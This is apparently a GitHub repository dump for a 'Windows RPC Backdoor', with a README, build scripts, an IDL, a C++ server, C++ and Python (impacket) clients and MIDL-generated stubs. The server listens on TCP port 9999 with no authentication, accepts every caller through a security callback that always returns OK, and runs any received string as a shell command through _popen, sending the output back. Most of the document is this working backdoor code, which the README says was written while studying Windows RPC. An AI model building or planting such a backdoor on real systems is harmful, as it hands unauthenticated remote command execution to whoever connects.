├── Windows_RPC_Backdoor
    ├── build_client.bat
    ├── build_server.bat
    ├── Windows_RPC_Backdoor.vcxproj.user
    ├── rpc_backdoor_server.idl
    ├── client.py
    ├── Windows_RPC_Backdoor.vcxproj.filters
    ├── client.cpp
    ├── server.cpp
    ├── rpc_backdoor_server.h
    ├── rpc_backdoor_server_c.c
    ├── rpc_backdoor_server_s.c
    └── Windows_RPC_Backdoor.vcxproj
├── .gitignore
├── README.md
├── Windows_RPC_Backdoor.sln
└── LICENSE


/Windows_RPC_Backdoor/build_client.bat:
--------------------------------------------------------------------------------
1 | midl /app_config rpc_backdoor_server.idl
2 | cl.exe .\client.cpp .\rpc_backdoor_server_c.c


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/build_server.bat:
--------------------------------------------------------------------------------
1 | midl /app_config rpc_backdoor_server.idl
2 | cl.exe .\server.cpp .\rpc_backdoor_server_s.c


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/Windows_RPC_Backdoor.vcxproj.user:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/rpc_backdoor_server.idl:
--------------------------------------------------------------------------------
 1 | import "oaidl.idl";
 2 | import "ocidl.idl";
 3 | [
 4 | 	uuid(7a5e41fd-a31f-4892-8e9f-76e5f0cb251e), // generated randomly
 5 | 	version(1.0),
 6 | 	implicit_handle(handle_t ImplicitHandle)
 7 | ]
 8 | 
 9 | interface BackdoorInterface {
10 | 
11 | 	void backdoor(
12 | 		[in] LPSTR* in_str,
13 | 		[out] LPSTR* out_str
14 | 	);
15 | 
16 | 
17 | }
18 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | .vs
 2 | # Prerequisites
 3 | *.d
 4 | 
 5 | # Compiled Object files
 6 | *.slo
 7 | *.lo
 8 | *.o
 9 | *.obj
10 | 
11 | # Precompiled Headers
12 | *.gch
13 | *.pch
14 | 
15 | # Compiled Dynamic libraries
16 | *.so
17 | *.dylib
18 | *.dll
19 | 
20 | # Fortran module files
21 | *.mod
22 | *.smod
23 | 
24 | # Compiled Static libraries
25 | *.lai
26 | *.la
27 | *.a
28 | *.lib
29 | 
30 | # Executables
31 | *.exe
32 | *.out
33 | *.app
34 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/client.py:
--------------------------------------------------------------------------------
 1 | from impacket.dcerpc.v5.rpcrt import *
 2 | from impacket import *
 3 | from impacket.dcerpc.v5 import transport
 4 | from impacket.dcerpc.v5.ndr import NDRCALL
 5 | from impacket.dcerpc.v5.dtypes import *
 6 | 
 7 | 
 8 | 
 9 | binding = r'ncacn_ip_tcp:127.0.0.1[9999]'
10 | 
11 | print(f"[+] Binding: {binding}")
12 | trans = transport.DCERPCTransportFactory(binding)
13 | trans.set_dport(9999)
14 | dce = trans.get_dce_rpc()
15 | 
16 | try:
17 |     conn = dce.connect()
18 |     if(conn):
19 |         print("[+] Connected DCERPC")
20 |         #print(conn)
21 | except:
22 |     print("[-] Could not connect DCERPC quiting")
23 |     sys.exit(1)
24 | 
25 | 
26 | iface = "7a5e41fd-a31f-4892-8e9f-76e5f0cb251e"
27 | bind = dce.bind(uuid.uuidtup_to_bin((iface, '1.0')))
28 | if (bind):
29 |     print(f"[+] Binded: {iface}")
30 | 
31 | # opnum 0
32 | class BackdoorRPCRequest(NDRCALL):
33 |     structure = (
34 |         ('in_str', LPSTR),
35 |         ('out_str', LPSTR),
36 |     )
37 | 
38 | 
39 | req = BackdoorRPCRequest()
40 | cmd = sys.argv[1]
41 | req['in_str'] = f'{cmd}\x00' 
42 | req.dump()
43 | 
44 | dce.call(0, req)
45 | 
46 | resp = dce.recv()
47 | 
48 | print(f"[+] Received {len(resp)} bytes")
49 | print(f"{resp.decode()}")
50 | 
51 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/Windows_RPC_Backdoor.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="Source Files">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="Header Files">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="Resource Files">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <Midl Include="rpc_backdoor_server.idl">
19 |       <Filter>Source Files</Filter>
20 |     </Midl>
21 |   </ItemGroup>
22 |   <ItemGroup>
23 |     <ClCompile Include="server.cpp">
24 |       <Filter>Source Files</Filter>
25 |     </ClCompile>
26 |     <ClCompile Include="client.cpp">
27 |       <Filter>Source Files</Filter>
28 |     </ClCompile>
29 |   </ItemGroup>
30 | </Project>


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Windows RPC Backdoor 
 2 | 
 3 | A very simple RPC server I've developed while studying Windows RPC. 
 4 | 
 5 | Has cpp and python client implementations as well.
 6 | 
 7 | 
 8 | # Compilation
 9 | 
10 | Use x64 native tools command prompt of visual studio.
11 | 
12 | Generate header files with
13 | 
14 | ```bat
15 | midl /app_config rpc_backdoor_server.idl
16 | ```
17 | 
18 | 
19 | Compiling server,
20 | ```bat
21 | cl.exe .\server.cpp .\rpc_backdoor_server_s.c
22 | ```
23 | 
24 | Running server,
25 | ```bat
26 | .\server.exe
27 | ```
28 | 
29 | Compiling client,
30 | ```bat
31 | cl.exe .\client.cpp .\rpc_backdoor_server_c.c
32 | ```
33 | 
34 | Running client,
35 | ```bat
36 | .\client.exe ipconfig
37 | ```
38 | 
39 | or 
40 | 
41 | ```bat
42 | python3 client.py whoami
43 | ```
44 | 
45 | 
46 | # TODO
47 | 
48 | * AES encrypted traffic
49 | * Protected inferfaces, (Only allows anonymous connections now, I might consider adding protected interfaces as well)
50 | * Other protocol sequences
51 | 
52 | # References
53 | 
54 | * https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
55 | * https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html
56 | * https://csandker.io/2021/01/10/Offensive-Windows-IPC-1-NamedPipes.html
57 | * https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/
58 | * https://itm4n.github.io/fuzzing-windows-rpc-rpcview/
59 | * https://itm4n.github.io/from-rpcview-to-petitpotam/
60 | * https://docs.microsoft.com/en-us/windows/win32/rpc/protocol-sequence-constants
61 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio Version 17
 4 | VisualStudioVersion = 17.1.32414.318
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Windows_RPC_Backdoor", "Windows_RPC_Backdoor\Windows_RPC_Backdoor.vcxproj", "{01823C97-3419-4078-A063-886AFAD0645F}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Debug|x64.Build.0 = Debug|x64
18 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Debug|x86.Build.0 = Debug|Win32
20 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Release|x64.ActiveCfg = Release|x64
21 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Release|x64.Build.0 = Release|x64
22 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Release|x86.ActiveCfg = Release|Win32
23 | 		{01823C97-3419-4078-A063-886AFAD0645F}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | 	GlobalSection(ExtensibilityGlobals) = postSolution
29 | 		SolutionGuid = {94BE3EC8-2E13-41FE-83F8-5FA0D1B5CF94}
30 | 	EndGlobalSection
31 | EndGlobal
32 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/client.cpp:
--------------------------------------------------------------------------------
 1 | #include <iostream>
 2 | #include <windows.h>
 3 | #include "rpc_backdoor_server.h"
 4 | #pragma comment(lib, "rpcrt4.lib")
 5 | 
 6 | 
 7 | int main(int argc, char **argv)
 8 | {
 9 | 	RPC_STATUS status;
10 | 	RPC_WSTR szStringBinding = NULL;
11 | 	
12 | 
13 | 	status = RpcStringBindingComposeW(
14 | 		NULL,                        // UUID of the interface
15 | 		(RPC_WSTR)L"ncacn_ip_tcp",   // TCP binding 
16 | 		(RPC_WSTR)L"127.0.0.1",			// Server IP address
17 | 		(RPC_WSTR)L"9999",			// Port on which the interface is listening
18 | 		NULL,						 // Network protocol to use
19 | 		&szStringBinding             // Variable in which the binding string is to be stored
20 | 	);
21 | 
22 | 	std::cout << "BindingString: " << *szStringBinding << "\n";
23 | 
24 | 	status = RpcBindingFromStringBindingW(
25 | 		szStringBinding,
26 | 		&ImplicitHandle
27 | 	);
28 | 	if (status) {
29 | 		// status is 0 if succeeds
30 | 		std::cout << "Something went wrong when binding, exiting ... \n";
31 | 		exit(EXIT_FAILURE);
32 | 	}
33 | 
34 | 	RpcTryExcept{
35 | 
36 | 		LPSTR cmd = argv[1];
37 | 		LPSTR output = 0;
38 | 
39 | 		backdoor(&cmd, &output);
40 | 		std::cout << "[+] Received from the server: " << output << "\n";
41 | 
42 | 
43 | 	}
44 | 		RpcExcept(1) {
45 | 		printf("RPCExec: %d\n", RpcExceptionCode());
46 | 	}
47 | 	RpcEndExcept
48 | 
49 | 		status = RpcStringFreeW(&szStringBinding);
50 | 
51 | 	status = RpcBindingFree(&ImplicitHandle);
52 | }
53 | 
54 | void* __RPC_USER midl_user_allocate(size_t size) {
55 | 	return malloc(size);
56 | }
57 | 
58 | void __RPC_USER midl_user_free(void* p) {
59 | 	free(p);
60 | }


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/server.cpp:
--------------------------------------------------------------------------------
 1 | #include <iostream>
 2 | #include "rpc_backdoor_server.h"
 3 | #include <stdlib.h>
 4 | #include <ctype.h>
 5 | #include <windows.h>
 6 | #include <atlstr.h>
 7 | 
 8 | #pragma comment(lib, "rpcrt4.lib")
 9 | #pragma comment(lib, "ws2_32.lib")
10 | 
11 | 
12 | void exec_cmd(LPSTR cmd, LPSTR* output) {
13 | 	char   psBuffer[1024];
14 | 	FILE* pPipe;
15 | 	std::string output_str;
16 | 	if ((pPipe = _popen(cmd, "rt")) == NULL)
17 | 		exit(1);
18 | 
19 | 	while (fgets(psBuffer, 1024, pPipe)) {
20 | 
21 | 		output_str.append(psBuffer);
22 | 	}
23 | 
24 | 	if (feof(pPipe))
25 | 		printf("\nProcess returned %d\n", _pclose(pPipe));
26 | 
27 | 	*output = strdup(output_str.c_str());
28 | }
29 | 
30 | 
31 | void backdoor(LPSTR* cmd, LPSTR* output) {
32 | 
33 | 	printf("[*] backdoor is called");
34 | 
35 | 	std::cout << "[*] Executing the command: " << *cmd << "\n";
36 | 	exec_cmd(*cmd, output);
37 | 	//std::cout << "[+] Output " << *output << "\n";
38 | }
39 | 
40 | 
41 | RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle) {
42 | 	return RPC_S_OK;
43 | }
44 | 
45 | 
46 | int main(int argc, char **argv) {
47 | 
48 | 	std::cout << "[+] Server started listening on port 9999\n";
49 | 
50 | 	RPC_STATUS status;
51 | 	RPC_BINDING_VECTOR* pbindingVector = 0;
52 | 
53 | 	status = RpcServerUseProtseqEpW(
54 | 		(RPC_WSTR)L"ncacn_ip_tcp",
55 | 		RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
56 | 		(RPC_WSTR)L"9999",
57 | 		NULL
58 | 	);
59 | 
60 | 	status = RpcServerRegisterIf2(
61 | 		BackdoorInterface_v1_0_s_ifspec,
62 | 		NULL,
63 | 		NULL,
64 | 		RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH,
65 | 		RPC_C_LISTEN_MAX_CALLS_DEFAULT,
66 | 		(unsigned)-1,
67 | 		SecurityCallback
68 | 	);
69 | 
70 | 	status = RpcServerInqBindings(&pbindingVector);
71 | 	status = RpcEpRegisterW(
72 | 		BackdoorInterface_v1_0_s_ifspec,
73 | 		pbindingVector,
74 | 		0,
75 | 		(RPC_WSTR)L"Windows RPC Backdoor Server"
76 | 	);
77 | 
78 | 	status = RpcServerListen(
79 | 		1,
80 | 		RPC_C_LISTEN_MAX_CALLS_DEFAULT,
81 | 		FALSE
82 | 	);
83 | 
84 | 
85 | }
86 | 
87 | void* __RPC_USER midl_user_allocate(size_t size) {
88 | 	return malloc(size);
89 | }
90 | 
91 | void __RPC_USER midl_user_free(void* p) {
92 | 	free(p);
93 | }
94 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/rpc_backdoor_server.h:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */
 4 | 
 5 | 
 6 |  /* File created by MIDL compiler version 8.01.0622 */
 7 | /* at Tue Jan 19 06:14:07 2038
 8 |  */
 9 | /* Compiler settings for rpc_backdoor_server.idl:
10 |     Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 
11 |     protocol : dce , ms_ext, app_config, c_ext, robust
12 |     error checks: allocation ref bounds_check enum stub_data 
13 |     VC __declspec() decoration level: 
14 |          __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 |          DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING(  ) */
18 | 
19 | #pragma warning( disable: 4049 )  /* more than 64k source lines */
20 | 
21 | 
22 | /* verify that the <rpcndr.h> version is high enough to compile this file*/
23 | #ifndef __REQUIRED_RPCNDR_H_VERSION__
24 | #define __REQUIRED_RPCNDR_H_VERSION__ 475
25 | #endif
26 | 
27 | #include "rpc.h"
28 | #include "rpcndr.h"
29 | 
30 | #ifndef __RPCNDR_H_VERSION__
31 | #error this stub requires an updated version of <rpcndr.h>
32 | #endif /* __RPCNDR_H_VERSION__ */
33 | 
34 | 
35 | #ifndef __rpc_backdoor_server_h__
36 | #define __rpc_backdoor_server_h__
37 | 
38 | #if defined(_MSC_VER) && (_MSC_VER >= 1020)
39 | #pragma once
40 | #endif
41 | 
42 | /* Forward Declarations */ 
43 | 
44 | /* header files for imported files */
45 | #include "oaidl.h"
46 | #include "ocidl.h"
47 | 
48 | #ifdef __cplusplus
49 | extern "C"{
50 | #endif 
51 | 
52 | 
53 | #ifndef __BackdoorInterface_INTERFACE_DEFINED__
54 | #define __BackdoorInterface_INTERFACE_DEFINED__
55 | 
56 | /* interface BackdoorInterface */
57 | /* [implicit_handle][version][uuid] */ 
58 | 
59 | void backdoor( 
60 |     /* [in] */ LPSTR *in_str,
61 |     /* [out] */ LPSTR *out_str);
62 | 
63 | 
64 | extern handle_t ImplicitHandle;
65 | 
66 | 
67 | extern RPC_IF_HANDLE BackdoorInterface_v1_0_c_ifspec;
68 | extern RPC_IF_HANDLE BackdoorInterface_v1_0_s_ifspec;
69 | #endif /* __BackdoorInterface_INTERFACE_DEFINED__ */
70 | 
71 | /* Additional Prototypes for ALL interfaces */
72 | 
73 | /* end of Additional Prototypes */
74 | 
75 | #ifdef __cplusplus
76 | }
77 | #endif
78 | 
79 | #endif
80 | 
81 | 
82 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/rpc_backdoor_server_c.c:
--------------------------------------------------------------------------------
  1 | 
  2 | 
  3 | /* this ALWAYS GENERATED file contains the RPC client stubs */
  4 | 
  5 | 
  6 |  /* File created by MIDL compiler version 8.01.0622 */
  7 | /* at Tue Jan 19 06:14:07 2038
  8 |  */
  9 | /* Compiler settings for rpc_backdoor_server.idl:
 10 |     Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 
 11 |     protocol : dce , ms_ext, app_config, c_ext, robust
 12 |     error checks: allocation ref bounds_check enum stub_data 
 13 |     VC __declspec() decoration level: 
 14 |          __declspec(uuid()), __declspec(selectany), __declspec(novtable)
 15 |          DECLSPEC_UUID(), MIDL_INTERFACE()
 16 | */
 17 | /* @@MIDL_FILE_HEADING(  ) */
 18 | 
 19 | #if defined(_M_AMD64)
 20 | 
 21 | 
 22 | #pragma warning( disable: 4049 )  /* more than 64k source lines */
 23 | #if _MSC_VER >= 1200
 24 | #pragma warning(push)
 25 | #endif
 26 | 
 27 | #pragma warning( disable: 4211 )  /* redefine extern to static */
 28 | #pragma warning( disable: 4232 )  /* dllimport identity*/
 29 | #pragma warning( disable: 4024 )  /* array to pointer mapping*/
 30 | #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */
 31 | 
 32 | #pragma optimize("", off ) 
 33 | 
 34 | #include <string.h>
 35 | 
 36 | #include "rpc_backdoor_server.h"
 37 | 
 38 | #define TYPE_FORMAT_STRING_SIZE   11                                
 39 | #define PROC_FORMAT_STRING_SIZE   39                                
 40 | #define EXPR_FORMAT_STRING_SIZE   1                                 
 41 | #define TRANSMIT_AS_TABLE_SIZE    0            
 42 | #define WIRE_MARSHAL_TABLE_SIZE   0            
 43 | 
 44 | typedef struct _rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING
 45 |     {
 46 |     short          Pad;
 47 |     unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];
 48 |     } rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING;
 49 | 
 50 | typedef struct _rpc_backdoor_server_MIDL_PROC_FORMAT_STRING
 51 |     {
 52 |     short          Pad;
 53 |     unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];
 54 |     } rpc_backdoor_server_MIDL_PROC_FORMAT_STRING;
 55 | 
 56 | typedef struct _rpc_backdoor_server_MIDL_EXPR_FORMAT_STRING
 57 |     {
 58 |     long          Pad;
 59 |     unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];
 60 |     } rpc_backdoor_server_MIDL_EXPR_FORMAT_STRING;
 61 | 
 62 | 
 63 | static const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax = 
 64 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
 65 | 
 66 | 
 67 | extern const rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING rpc_backdoor_server__MIDL_TypeFormatString;
 68 | extern const rpc_backdoor_server_MIDL_PROC_FORMAT_STRING rpc_backdoor_server__MIDL_ProcFormatString;
 69 | extern const rpc_backdoor_server_MIDL_EXPR_FORMAT_STRING rpc_backdoor_server__MIDL_ExprFormatString;
 70 | 
 71 | #define GENERIC_BINDING_TABLE_SIZE   0            
 72 | 
 73 | 
 74 | /* Standard interface: BackdoorInterface, ver. 1.0,
 75 |    GUID={0x7a5e41fd,0xa31f,0x4892,{0x8e,0x9f,0x76,0xe5,0xf0,0xcb,0x25,0x1e}} */
 76 | 
 77 | handle_t ImplicitHandle;
 78 | 
 79 | 
 80 | static const RPC_CLIENT_INTERFACE BackdoorInterface___RpcClientInterface =
 81 |     {
 82 |     sizeof(RPC_CLIENT_INTERFACE),
 83 |     {{0x7a5e41fd,0xa31f,0x4892,{0x8e,0x9f,0x76,0xe5,0xf0,0xcb,0x25,0x1e}},{1,0}},
 84 |     {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
 85 |     0,
 86 |     0,
 87 |     0,
 88 |     0,
 89 |     0,
 90 |     0x00000000
 91 |     };
 92 | RPC_IF_HANDLE BackdoorInterface_v1_0_c_ifspec = (RPC_IF_HANDLE)& BackdoorInterface___RpcClientInterface;
 93 | 
 94 | extern const MIDL_STUB_DESC BackdoorInterface_StubDesc;
 95 | 
 96 | static RPC_BINDING_HANDLE BackdoorInterface__MIDL_AutoBindHandle;
 97 | 
 98 | 
 99 | void backdoor( 
100 |     /* [in] */ LPSTR *in_str,
101 |     /* [out] */ LPSTR *out_str)
102 | {
103 | 
104 |     NdrClientCall2(
105 |                   ( PMIDL_STUB_DESC  )&BackdoorInterface_StubDesc,
106 |                   (PFORMAT_STRING) &rpc_backdoor_server__MIDL_ProcFormatString.Format[0],
107 |                   in_str,
108 |                   out_str);
109 |     
110 | }
111 | 
112 | 
113 | #if !defined(__RPC_WIN64__)
114 | #error  Invalid build platform for this stub.
115 | #endif
116 | 
117 | #if !(TARGET_IS_NT50_OR_LATER)
118 | #error You need Windows 2000 or later to run this stub because it uses these features:
119 | #error   /robust command line switch.
120 | #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
121 | #error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
122 | #endif
123 | 
124 | 
125 | static const rpc_backdoor_server_MIDL_PROC_FORMAT_STRING rpc_backdoor_server__MIDL_ProcFormatString =
126 |     {
127 |         0,
128 |         {
129 | 
130 | 	/* Procedure backdoor */
131 | 
132 | 			0x32,		/* FC_BIND_PRIMITIVE */
133 | 			0x48,		/* Old Flags:  */
134 | /*  2 */	NdrFcLong( 0x0 ),	/* 0 */
135 | /*  6 */	NdrFcShort( 0x0 ),	/* 0 */
136 | /*  8 */	NdrFcShort( 0x10 ),	/* x86 Stack size/offset = 16 */
137 | /* 10 */	NdrFcShort( 0x0 ),	/* 0 */
138 | /* 12 */	NdrFcShort( 0x0 ),	/* 0 */
139 | /* 14 */	0x43,		/* Oi2 Flags:  srv must size, clt must size, has ext, */
140 | 			0x2,		/* 2 */
141 | /* 16 */	0xa,		/* 10 */
142 | 			0x1,		/* Ext Flags:  new corr desc, */
143 | /* 18 */	NdrFcShort( 0x0 ),	/* 0 */
144 | /* 20 */	NdrFcShort( 0x0 ),	/* 0 */
145 | /* 22 */	NdrFcShort( 0x0 ),	/* 0 */
146 | /* 24 */	NdrFcShort( 0x0 ),	/* 0 */
147 | 
148 | 	/* Parameter in_str */
149 | 
150 | /* 26 */	NdrFcShort( 0x200b ),	/* Flags:  must size, must free, in, srv alloc size=8 */
151 | /* 28 */	NdrFcShort( 0x0 ),	/* x86 Stack size/offset = 0 */
152 | /* 30 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */
153 | 
154 | 	/* Parameter out_str */
155 | 
156 | /* 32 */	NdrFcShort( 0x2013 ),	/* Flags:  must size, must free, out, srv alloc size=8 */
157 | /* 34 */	NdrFcShort( 0x8 ),	/* x86 Stack size/offset = 8 */
158 | /* 36 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */
159 | 
160 | 			0x0
161 |         }
162 |     };
163 | 
164 | static const rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING rpc_backdoor_server__MIDL_TypeFormatString =
165 |     {
166 |         0,
167 |         {
168 | 			NdrFcShort( 0x0 ),	/* 0 */
169 | /*  2 */	
170 | 			0x11, 0x14,	/* FC_RP [alloced_on_stack] [pointer_deref] */
171 | /*  4 */	NdrFcShort( 0x2 ),	/* Offset= 2 (6) */
172 | /*  6 */	
173 | 			0x12, 0x8,	/* FC_UP [simple_pointer] */
174 | /*  8 */	
175 | 			0x22,		/* FC_C_CSTRING */
176 | 			0x5c,		/* FC_PAD */
177 | 
178 | 			0x0
179 |         }
180 |     };
181 | 
182 | static const unsigned short BackdoorInterface_FormatStringOffsetTable[] =
183 |     {
184 |     0
185 |     };
186 | 
187 | 
188 | static const MIDL_STUB_DESC BackdoorInterface_StubDesc = 
189 |     {
190 |     (void *)& BackdoorInterface___RpcClientInterface,
191 |     MIDL_user_allocate,
192 |     MIDL_user_free,
193 |     &ImplicitHandle,
194 |     0,
195 |     0,
196 |     0,
197 |     0,
198 |     rpc_backdoor_server__MIDL_TypeFormatString.Format,
199 |     1, /* -error bounds_check flag */
200 |     0x50002, /* Ndr library version */
201 |     0,
202 |     0x801026e, /* MIDL Version 8.1.622 */
203 |     0,
204 |     0,
205 |     0,  /* notify & notify_flag routine table */
206 |     0x1, /* MIDL flag */
207 |     0, /* cs routines */
208 |     0,   /* proxy/server info */
209 |     0
210 |     };
211 | #if _MSC_VER >= 1200
212 | #pragma warning(pop)
213 | #endif
214 | 
215 | 
216 | #endif /* defined(_M_AMD64)*/
217 | 
218 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/rpc_backdoor_server_s.c:
--------------------------------------------------------------------------------
  1 | 
  2 | 
  3 | /* this ALWAYS GENERATED file contains the RPC server stubs */
  4 | 
  5 | 
  6 |  /* File created by MIDL compiler version 8.01.0622 */
  7 | /* at Tue Jan 19 06:14:07 2038
  8 |  */
  9 | /* Compiler settings for rpc_backdoor_server.idl:
 10 |     Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 
 11 |     protocol : dce , ms_ext, app_config, c_ext, robust
 12 |     error checks: allocation ref bounds_check enum stub_data 
 13 |     VC __declspec() decoration level: 
 14 |          __declspec(uuid()), __declspec(selectany), __declspec(novtable)
 15 |          DECLSPEC_UUID(), MIDL_INTERFACE()
 16 | */
 17 | /* @@MIDL_FILE_HEADING(  ) */
 18 | 
 19 | #if defined(_M_AMD64)
 20 | 
 21 | 
 22 | #pragma warning( disable: 4049 )  /* more than 64k source lines */
 23 | #if _MSC_VER >= 1200
 24 | #pragma warning(push)
 25 | #endif
 26 | 
 27 | #pragma warning( disable: 4211 )  /* redefine extern to static */
 28 | #pragma warning( disable: 4232 )  /* dllimport identity*/
 29 | #pragma warning( disable: 4024 )  /* array to pointer mapping*/
 30 | #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */
 31 | 
 32 | #pragma optimize("", off ) 
 33 | 
 34 | #include <string.h>
 35 | #include "rpc_backdoor_server.h"
 36 | 
 37 | #define TYPE_FORMAT_STRING_SIZE   11                                
 38 | #define PROC_FORMAT_STRING_SIZE   39                                
 39 | #define EXPR_FORMAT_STRING_SIZE   1                                 
 40 | #define TRANSMIT_AS_TABLE_SIZE    0            
 41 | #define WIRE_MARSHAL_TABLE_SIZE   0            
 42 | 
 43 | typedef struct _rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING
 44 |     {
 45 |     short          Pad;
 46 |     unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];
 47 |     } rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING;
 48 | 
 49 | typedef struct _rpc_backdoor_server_MIDL_PROC_FORMAT_STRING
 50 |     {
 51 |     short          Pad;
 52 |     unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];
 53 |     } rpc_backdoor_server_MIDL_PROC_FORMAT_STRING;
 54 | 
 55 | typedef struct _rpc_backdoor_server_MIDL_EXPR_FORMAT_STRING
 56 |     {
 57 |     long          Pad;
 58 |     unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];
 59 |     } rpc_backdoor_server_MIDL_EXPR_FORMAT_STRING;
 60 | 
 61 | 
 62 | static const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax = 
 63 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
 64 | 
 65 | extern const rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING rpc_backdoor_server__MIDL_TypeFormatString;
 66 | extern const rpc_backdoor_server_MIDL_PROC_FORMAT_STRING rpc_backdoor_server__MIDL_ProcFormatString;
 67 | extern const rpc_backdoor_server_MIDL_EXPR_FORMAT_STRING rpc_backdoor_server__MIDL_ExprFormatString;
 68 | 
 69 | /* Standard interface: BackdoorInterface, ver. 1.0,
 70 |    GUID={0x7a5e41fd,0xa31f,0x4892,{0x8e,0x9f,0x76,0xe5,0xf0,0xcb,0x25,0x1e}} */
 71 | 
 72 | 
 73 | extern const MIDL_SERVER_INFO BackdoorInterface_ServerInfo;
 74 | 
 75 | extern const RPC_DISPATCH_TABLE BackdoorInterface_v1_0_DispatchTable;
 76 | 
 77 | static const RPC_SERVER_INTERFACE BackdoorInterface___RpcServerInterface =
 78 |     {
 79 |     sizeof(RPC_SERVER_INTERFACE),
 80 |     {{0x7a5e41fd,0xa31f,0x4892,{0x8e,0x9f,0x76,0xe5,0xf0,0xcb,0x25,0x1e}},{1,0}},
 81 |     {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
